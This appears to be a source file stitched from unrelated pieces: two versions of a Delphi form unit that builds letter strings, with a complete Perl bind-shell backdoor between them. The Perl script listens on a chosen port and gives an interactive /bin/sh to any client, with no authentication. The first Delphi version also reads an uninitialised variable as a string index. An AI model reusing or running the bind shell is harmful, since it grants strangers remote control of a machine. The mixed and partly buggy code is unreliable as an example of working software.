unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var c:char; s:string; a:integer;
begin
s:='BCDEFGHIKLMNOPQRSTVXYZ';
a:=a+1;
c:=s[a];
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;

procedure TForm1.FormCreate(Sender: TObject);
var a:integer;
begin
a:=0;
end;

end.

#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
	accept(CONN,S);
	if(!($pid=fork)) {
		die "Cannot fork" if (!defined $pid);
		open STDIN,"<&CONN";
		open STDOUT,">&CONN";
		open STDERR,">&CONN";
		exec $SHELL || die print CONN "Cant execute $SHELL\n";
		close CONN;
		exit 0;
	}
}

var
  Form1: TForm1;
  a:integer;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
c:string;
s:string;
begin
a:=a+1;
s:='BCDEFGHIKLMNOPQRSTUVXYZ';
c:=copy(s,a,1);
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
a:=-1;
end;

end.